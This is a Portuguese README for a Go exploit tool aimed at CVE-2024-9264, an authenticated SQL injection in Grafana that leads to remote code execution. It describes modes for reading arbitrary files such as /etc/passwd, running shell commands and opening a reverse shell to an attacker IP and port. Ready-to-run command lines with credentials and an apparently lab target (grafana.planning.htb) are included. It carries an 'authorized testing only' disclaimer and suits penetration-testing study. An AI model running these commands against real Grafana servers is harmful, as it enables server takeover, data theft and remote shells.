🚨 CVE-2024-9264 - Injeção SQL no Grafana levando a Execução Remota de Código (RCE) e leitura de arquivos

Ferramenta de exploit para CVE-2024-9264, uma vulnerabilidade crítica no Grafana que permite que um atacante autenticado execute consultas SQL levando a RCE

🛡️ Esta ferramenta é estritamente para fins educacionais e testes de penetração autorizados.
O uso não autorizado é ilegal e antiético.

---

🧠 Visão Geral da Vulnerabilidade

🕳️ O que é CVE-2024-9264?

CVE-2024-9264 é uma falha crítica no Grafana que permite que um atacante autenticado execute comandos SQL, levando a RCE e leitura de arquivos

🧬 Causa Raiz

• Sanitização insuficiente.

💥 Impacto

• RCE: Execute comandos arbitrários, obtenha shells reversos ou leia arquivos sensíveis.
• Alta Gravidade: Possibilidade de assumir completamente o servidor se bem-sucedido.

---

⚒️ Funcionalidades

• Suporta múltiplos modos de ataque:
  • file – Ler arquivos arbitrários (ex.: /etc/passwd)
  • shell – Shell reverso para a máquina do atacante
  • command – Executar comandos shell arbitrários (ex.: whoami)
• IP, porta e credenciais do atacante personalizáveis

---

🚀 Uso

Nem todos os argumentos são necessários.

Exemplos

Obtendo shell

go run main.go -ip 10.10.16.91 -port 8080 -username admin -password 0D5oT70Fq13EvB5r -url http://grafana.planning.htb -type shell

Ler arquivos

go run main.go -username admin -password 0D5oT70Fq13EvB5r -url http://grafana.planning.htb -type file -filename /etc/passwd

Executar comando único

go run main.go -username admin -password 0D5oT70Fq13EvB5r -url http://grafana.planning.htb -type command -cmd 'ls -al'

🔧 Flags da Linha de Comando

go run main.go [flags]